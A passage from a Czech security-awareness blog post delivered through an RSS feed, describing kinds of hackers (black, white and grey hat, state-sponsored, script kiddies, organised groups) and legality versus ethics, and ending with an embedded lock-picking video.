Proto je celkem výhodné vědět, že v zámku je mechanismus, který se dá otevřít poměrně rychle, tiše a bez dalších následků. Proto hackeři obvykle velmi dobře znají systémy, na které útočí. Jak si ukážeme později, neznamená to, že hacker musí být počítačový génius. Skoro v každé oblasti se dá najít prostor pro hackery.<br />
Hacking totiž není jen to, že se dostáváme někam, kam bychom se dostat neměli. Může jít i o schopnost používat věci jinak. Např. v poslední době oblíbený biohacking není o tom, že se vkrademe do (nejlépe) vlastního těla a něco si tam vezmeme. Spíše se snažíme vylepšit procesy, které se tam dějí.<br />
Já se budu držet popisu hackerství v tom nejznámějším IT sektoru, ale v podstatě cokoliv se dá nějakým způsobem aplikovat i jinde.</p>
<h2>Hackeři, móda a stát</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat.png"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1660" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat-300x231.png" alt="Western" width="300" height="231" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat-300x231.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat.png 436w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>Protože svět potřebuje škatulky, začali se i hackeři dělit na skupiny: black hat, white hat a grey hat. Toto označení bylo převzato z Hollywoodských westernů dvacátých let 20. století, kde byla nepsaná konvence, že hrdinové nosí bílé a padouši černé klobouky. Aspoň to tedy tak píší na Wikipedii.</p>
<p><strong>Black hat</strong> hackeři jsou ekvivalent záporných hrdinů divokého západu. Využívají své znalosti ke svému obohacení případně k poškození své oběti. Black Hat hacker se nabourá do vašeho bankovního účtu a sebere peníze, nainstaluje do vašeho počítače program pro sledování webkamery nebo shodí webové stránky vaší firmy.</p>
<p>Zvláštní podskupinou black hat hackerů jsou státem organizovaní hackeři. Většinou jsou to zaměstnanci nebo kontraktoři tajných služeb nebo armády, kteří mají za úkol cyber útoky na cíle mimo území daného státu. Oproti samostatným hackerům mají velkou výhodu v tom, že mají přístup k nejlepší technice či dalším zdrojům a můžou si tak dovolit útoky, které jsou pro ostatní nedostupné. Toto téma si ale zaslouží vlastní článek. Tak o tom víc někdy příště.</p>
<p><strong>White hat</strong> hacker se do webových stránek vaší firmy nabourá také. Ale je tu jeden podstatný rozdíl. On to udělá jen s vaším souhlasem. Proto se jim také říká etičtí hackeři. Proč byste ten souhlas dávali? Právě proto, že chcete vědět, jestli je vaše firma proti takovému útoku zabezpečena. Pokud se white hat hackerovi takový průnik podaří, nic zlého vám neprovede. Naopak, dostanete od něj přesný popis toho, co je potřeba opravit, aby se tam nikdo jiný už nedostal. A vy mu za to zaplatíte. Takovému hackingu se říká penetrační testování. White hat hackeři často zakládají firmy, které pomáhají svým zákazníkům zvyšovat bezpečnost jejich systémů.</p>
<p><strong>Grey Hat</strong> hacker &#8211; často se tvrdí, že jsou něco mezi. Málokde se ale dozvíte, co to znamená být něco mezi. Může být někdo jenom trochu zloděj? Spíše je to tak, že je ta hranice mezi white hat a black hat nejasná. Hacker se sice tváří jako white hat, ale existuje podezření, že svoje znalosti a um používá i neeticky. Případně útočí na firmy, organizace nebo třeba státy bez jejich souhlasu a vědomí, ale vedou ho k tomu (někdy subjektivně) dobré důvody. Může to být ekologický aktivista, bojovník za lidská práva nebo třeba náboženský fanatik.</p>
<h2>Legálnost versus etičnost</h2>
<p>Zároveň je potřeba rozlišovat mezi legalitou a etikou. Zákony jsou různé v různých částech světa. Například zde v Evropě platí téměř každých 500km jiná pravidla. Co je legální v Praze, může být trestné ve Vídni. A protože Internet hranice nemá, je to pro posuzování ještě složitější. V zemích, jako je třeba Severní Korea je například ve většině případů ilegální jakékoliv použití počítače. Proto není možné posuzovat hackery podle lokálního národního práva. Zvláště v době, kdy národní státy začínají ztrácet smysl.</p>
<h2>Střelci naslepo a nestátní armády</h2>
<p>Existuje ještě jedna skupina. Nejsou to hackeři v pravém slova smyslu. Spíše rádoby hackeři. Vžilo se pro ně označení &#8222;Script kiddies&#8220;. Dnes je totiž na Internetu velké množství hackerských nástrojů, které jsou volně ke stažení. A vypadat před kámošem jako hacker může být lákavé. Stáhnout nějaký prográmek, stisknout pomyslné tlačítko &#8222;Hackni to!&#8220; není složité. Útočník ale většinou nic nezíská. Protože i s těmito nástroji je potřeba pracovat cíleně a s přesným nastavením. Na druhou stranu, i když nic nezíská, může přeci jen napáchat nějaké škody (poškodit databázi, smazat důležité soubory, zahltit síť atd.). Proto je důležité chránit systémy i před takovýmito amatérskými útoky.</p>
<p>V cyber světě můžeme najít i nestátní organizované hackerské skupiny. Jsou to vlastně takové malé armády hackerů, kteří mají nějaký společný cíl a kterého se snaží dosáhnout spojením svých sil. Neznamená to ale nutně, že se tyto skupiny scházejí někde na tajných místech a odtud provádějí své útoky (etické či neetické). Jednotlivý členové se mezi sebou často osobně vůbec neznají. Můžou být rozeseti po celém světě, operují pod přezdívkami a vše, co o sobě navzájem potřebují vědět jsou jejich schopnosti. To mj. zajišťuje i jejich fyzickou bezpečnost. Když je nějaký člen skupiny odhalen, nemůže o svých kolezích prozradit nic důležitého.</p>
<h2>Chci se stát hackerem</h2>
<p>Častá otázka je, jak se člověk může stát hackerem. Odpověď na ni není jednoduchá a rozhodně ne univerzální. Hackerství je o každodenním učení a prohlubování svých znalostí. V podstatě každý, kdo je expertem ve svém oboru a má touhu se dál zlepšovat a pronikat do každého detailu, se může stát hackerem. Neexistuje ani jasná hranice, kdy o sobě (nebo o někom jiném) můžeme říci, že je hacker. Existují sice různé kurzy a certifikáty, ale ani to není nutná podmínka. Certifikát z vás nutně hackera neudělá, pokud se tomu dál nevěnujete a na druhou stranu jeho absence (stojí to čas a peníze) neznamená, že hackerem nejste.</p>
<h2>No a jak tedy otevřu ten zámek?</h2>
<p>Není to těžké a po natrénování to může jít poměrně rychle. Toto je ovšem jen taková základní technika, víceméně je to svým způsobem sport (ano, pořádají se v tom soutěže). Profesionální zloději ji téměř nevyužívají.</p>
<p>Návod naleznete ve videu, jak ubránit vaše digitální zámky <a href="https://www.digitalni-sebeobrana.cz/osobni-konzultace/">vám řeknu já</a> <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-zj8w-pbnolq" style="max-width:1400px;" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:350/197" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:56.285714%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-zj8w-pbnolq" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/zj8W-PbnOlQ?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="788" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/zj8W-PbnOlQ?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="1400"></iframe>
								</div>
</p></div>
<p>												<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/www.digitalnisebeobrana.cz\/hackeri-proti-komu-se-branime\/#arve-youtube-zj8w-pbnolq","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/zj8W-PbnOlQ?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script>							</div>
<p>The post <a href="https://www.digitalnisebeobrana.cz/hackeri-proti-komu-se-branime/">Hackeři &#8211; proti komu se bráníme?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
